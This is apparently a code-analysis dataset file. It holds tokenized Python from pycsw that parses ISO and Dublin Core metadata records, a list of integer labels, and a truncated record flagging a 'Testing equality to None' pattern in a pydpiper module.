"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Service", "Type", "'_", ",_", "md_", "._", "service", "identifica", "tion_", "._", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Service", "Type", "Version", "'_", ",_", "md_", "._", "service", "identifica", "tion_", "._", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Coupling", "Type", "'_", ",_", "md_", "._", "service", "identifica", "tion_", "._", "coupling", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "service", "\\u", "types_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sm", "d_", "in_", "md_", "._", "identifica", "tion", "info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sm", "d_", "._", "ident", "type_", "==_", "'", "service", "'_", "and_", "sm", "d_", "._", "type_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "service", "\\u", "types_", "._", "append_", "(_", "sm", "d_", "._", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Service", "Type", "'_", ",_", "','_", "._", "join_", "(_", "service", "\\u", "types_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "len", "(", "md", ".", "service", "identifica", "tion", ".", "operate", "son", ")", " ", ">", " ", "0", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "\\u", "set", "(", "context", ",", " ", "reco", "bj", ",", " ", "'", "pyc", "sw", ":", "operate", "son", " ", "=", " ", "VARCHA", "R", "(", "32", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#\\u", "set", "(", "context", ",", " ", "reco", "bj", ",", " ", "'", "pyc", "sw", ":", "operati", "on", " ", "VARCHA", "R", "(", "32", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#\\u", "set", "(", "context", ",", " ", "reco", "bj", ",", " ", "'", "pyc", "sw", ":", "operate", "son", "identifi", "er", " ", "VARCHA", "R", "(", "32", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#\\u", "set", "(", "context", ",", " ", "reco", "bj", ",", " ", "'", "pyc", "sw", ":", "operate", "sona", "me", " ", "VARCHA", "R", "(", "32", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "data", "quali", "ty", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Deg", "ree", "'_", ",_", "md_", "._", "data", "quality_", "._", "conforma", "nce", "degree_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Linea", "ge", "'_", ",_", "md_", "._", "data", "quality_", "._", "lineage", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Specification", "Tit", "le", "'_", ",_", "md_", "._", "data", "quality_", "._", "specifica", "tion", "title_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "data", "quality_", ",_", "'", "specifica", "tion", "date", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "specifica", "tion", "Date", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "._", "data", "quality_", "._", "specifica", "tion", "date_", "[_", "0_", "]_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Specification", "Date", "Type", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "._", "data", "quality_", "._", "specifica", "tion", "date_", "[_", "0_", "]_", "._", "date", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", ",_", "'", "contact", "'_", ")_", "and_", "len_", "(_", "md_", "._", "contact_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Respons", "ibl", "e", "Part", "y", "Ro", "le", "'_", ",_", "md_", "._", "contact_", "[_", "0_", "]_", "._", "role_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "LOGGER_", "._", "info_", "(_", "'", "Scann", "ing", " ", "for", " ", "link", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", ",_", "'", "distribu", "tion", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dist", "\\u", "links_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "distribution_", ",_", "'", "onli", "ne", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "LOGGER_", "._", "debug_", "(_", "'", "Scann", "ing", " ", "for", " ", "gm", "d", ":", "transfer", "Optio", "ns", " ", "element", "(", "s", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dist", "\\u", "links_", "._", "extend_", "(_", "md_", "._", "distribution_", "._", "online_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "distribution_", ",_", "'", "distributor", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "LOGGER_", "._", "debug_", "(_", "'", "Scann", "ing", " ", "for", " ", "gm", "d", ":", "distributor", "Transfer", "Optio", "ns", " ", "element", "(", "s", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "dist", "\\u", "member_", "in_", "md_", "._", "distribution_", "._", "distributor", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dist", "\\u", "links_", "._", "extend_", "(_", "dist", "\\u", "member_", "._", "online_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "link_", "in_", "dist", "\\u", "links_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "link_", "._", "url_", "is_", "not_", "None_", "and_", "link_", "._", "protocol_", "is_", "None_", ":_", "#", " ", "take", " ", "a", " ", "best", " ", "guess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "link_", "._", "protocol_", "=_", "sniff", "\\u", "link_", "(_", "link_", "._", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "link", "str_", "=_", "'%", "s", ",%", "s", ",%", "s", ",%", "s", "'_", "%_", "(_", "link_", "._", "name_", ",_", "link_", "._", "description_", ",_", "link_", "._", "protocol_", ",_", "link_", "._", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "._", "append_", "(_", "link", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "LOGGER_", "._", "debug_", "(_", "'", "Scann", "ing", " ", "for", " ", "srv", ":", "SV", "\\u", "Service", "Identif", "ication", " ", "link", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "side", "nt_", "in_", "md_", "._", "identifica", "tion", "info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "side", "nt_", ",_", "'", "operati", "ons", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "sop", "s_", "in_", "side", "nt_", "._", "operations_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "scp", "t_", "in_", "sop", "s_", "[_", "'", "connect", "point", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "LOGGER_", "._", "debug_", "(_", "'", "addin", "g", " ", "srv", " ", "link", " ", "%", "s", "'_", ",_", "scp", "t_", "._", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link", "str_", "=_", "'%", "s", ",%", "s", ",%", "s", ",%", "s", "'_", "%_", "(_", "scp", "t_", "._", "name_", ",_", "scp", "t_", "._", "description_", ",_", "scp", "t_", "._", "protocol_", ",_", "scp", "t_", "._", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "._", "append_", "(_", "link", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "err_", ":_", "#", " ", "srv", ":", " ", "identifica", "tion", " ", "doe", "s", " ", "not", " ", "exist_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "LOGGER_", "._", "debug_", "(_", "'", "no", " ", "srv", ":", "SV", "\\u", "Service", "Identif", "ication", " ", "link", "s", " ", "found", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "links_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Link", "s", "'_", ",_", "'", "^", "'_", "._", "join_", "(_", "links_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "bbox_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tmp_", "=_", "'%", "s", ",%", "s", ",%", "s", ",%", "s", "'_", "%_", "(_", "bbox_", "._", "minx_", ",_", "bbox_", "._", "miny_", ",_", "bbox_", "._", "maxx_", ",_", "bbox_", "._", "maxy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "util_", "._", "bbox", "2w", "kt", "polygon_", "(_", "tmp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "#", " ", "coordinate", "s", " ", "are", " ", "corrupted", ",", " ", "do", " ", "not", " ", "include_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "reco", "bj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "dc_", "(_", "context_", ",_", "repos_", ",_", "ex", "ml_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "ow", "sli", "b_", "._", "cs", "w_", "import_", "Cs", "w", "Record_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reco", "bj_", "=_", "repos_", "._", "dataset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "=_", "Cs", "w", "Record_", "(_", "ex", "ml_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "md_", "._", "bbox_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bbox_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bbox_", "=_", "md_", "._", "bbox_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Identifie", "r", "'_", ",_", "md_", "._", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Type", "name", "'_", ",_", "'", "cs", "w", ":", "Record", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Schema", "'_", ",_", "context_", "._", "namespaces_", "[_", "'", "cs", "w", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Md", "Sou", "rce", "'_", ",_", "'", "local", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Insert", "Date", "'_", ",_", "util_", "._", "get", "\\u", "toda", "y", "\\u", "and", "\\u", "now_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "XML", "'_", ",_", "md_", "._", "xml_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Any", "Text", "'_", ",_", "util_", "._", "get", "\\u", "anyt", "ext_", "(_", "ex", "ml_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Lang", "ua", "ge", "'_", ",_", "md_", "._", "language_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Type", "'_", ",_", "md_", "._", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Tit", "le", "'_", ",_", "md_", "._", "title_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Alternate", "Tit", "le", "'_", ",_", "md_", "._", "alternative", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Abstract", "'_", ",_", "md_", "._", "abstract_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "subjects_", ")_", ">_", "0_", "and_", "None_", "not_", "in_", "md_", "._", "subjects_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Key", "words", "'_", ",_", "','_", "._", "join_", "(_", "md_", "._", "subjects_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Parent", "Identifie", "r", "'_", ",_", "md_", "._", "isp", "art", "of_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Relation", "'_", ",_", "md_", "._", "relation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Temp", "Extent", "\\u", "begin", "'_", ",_", "md_", "._", "tempora", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Temp", "Extent", "\\u", "end", "'_", ",_", "md_", "._", "tempora", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Reso", "urc", "e", "Lang", "ua", "ge", "'_", ",_", "md_", "._", "language_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Creat", "or", "'_", ",_", "md_", "._", "creator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Publish", "er", "'_", ",_", "md_", "._", "publisher_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Contributor", "'_", ",_", "md_", "._", "contributor_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Organiz", "ation", "Name", "'_", ",_", "md_", "._", "rights", "holder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Access", "Constr", "aint", "s", "'_", ",_", "md_", "._", "access", "rights_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Ot", "her", "Constr", "aint", "s", "'_", ",_", "md_", "._", "license_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Date", "'_", ",_", "md_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Creat", "ion", "Date", "'_", ",_", "md_", "._", "created_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Public", "ation", "Date", "'_", ",_", "md_", "._", "issue", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Modifie", "d", "'_", ",_", "md_", "._", "modified_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Format", "'_", ",_", "md_", "._", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Sou", "rce", "'_", ",_", "md_", "._", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ref_", "in_", "md_", "._", "references_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tmp_", "=_", "',", ",%", "s", ",%", "s", "'_", "%_", "(_", "ref_", "[_", "'", "sche", "me", "'_", "]_", ",_", "ref_", "[_", "'", "url", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "._", "append_", "(_", "tmp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "uri_", "in_", "md_", "._", "uris_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tmp_", "=_", "'%", "s", ",%", "s", ",%", "s", ",%", "s", "'_", "%_", "(_", "uri_", "[_", "'", "name", "'_", "]_", ",_", "uri_", "[_", "'", "description", "'_", "]_", ",_", "uri_", "[_", "'", "protoc", "ol", "'_", "]_", ",_", "uri_", "[_", "'", "url", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "._", "append_", "(_", "tmp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "links_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Link", "s", "'_", ",_", "'", "^", "'_", "._", "join_", "(_", "links_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "bbox_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tmp_", "=_", "'%", "s", ",%", "s", ",%", "s", ",%", "s", "'_", "%_", "(_", "bbox_", "._", "minx_", ",_", "bbox_", "._", "miny_", ",_", "bbox_", "._", "maxx_", ",_", "bbox_", "._", "maxy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "util_", "._", "bbox", "2w", "kt", "polygon_", "(_", "tmp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "#", " ", "coordinate", "s", " ", "are", " ", "corrupted", ",", " ", "do", " ", "not", " ", "include_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "reco", "bj_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
Mouse-Imaging-Centre/pydpiper/atoms_and_modules/minc_modules.py
[ { "content": " def __init__(self,\n inputFH,\n targetFH,\n lsq12_protocol=None,\n nlin_protocol=None,\n subject_matter=None,\n defaultDir=\"tmp\"):\n \n self.p = Pipeline()\n self.inputFH = inputFH\n self.targetFH = targetFH\n self.lsq12_protocol = lsq12_protocol\n self.nlin_protocol = nlin_protocol\n self.subject_matter = subject_matter\n self.defaultDir = defaultDir\n \n if ((self.lsq12_protocol == None and self.subject_matter==None) or self.nlin_protocol == None):\n # always base the resolution to be used on the target for the registrations\n self.fileRes = rf.returnFinestResolution(self.targetFH)\n else:\n self.fileRes = None\n \n self.buildPipeline() ", "metadata": "root.LSQ12ANTSNlin.__init__", "header": "['class', 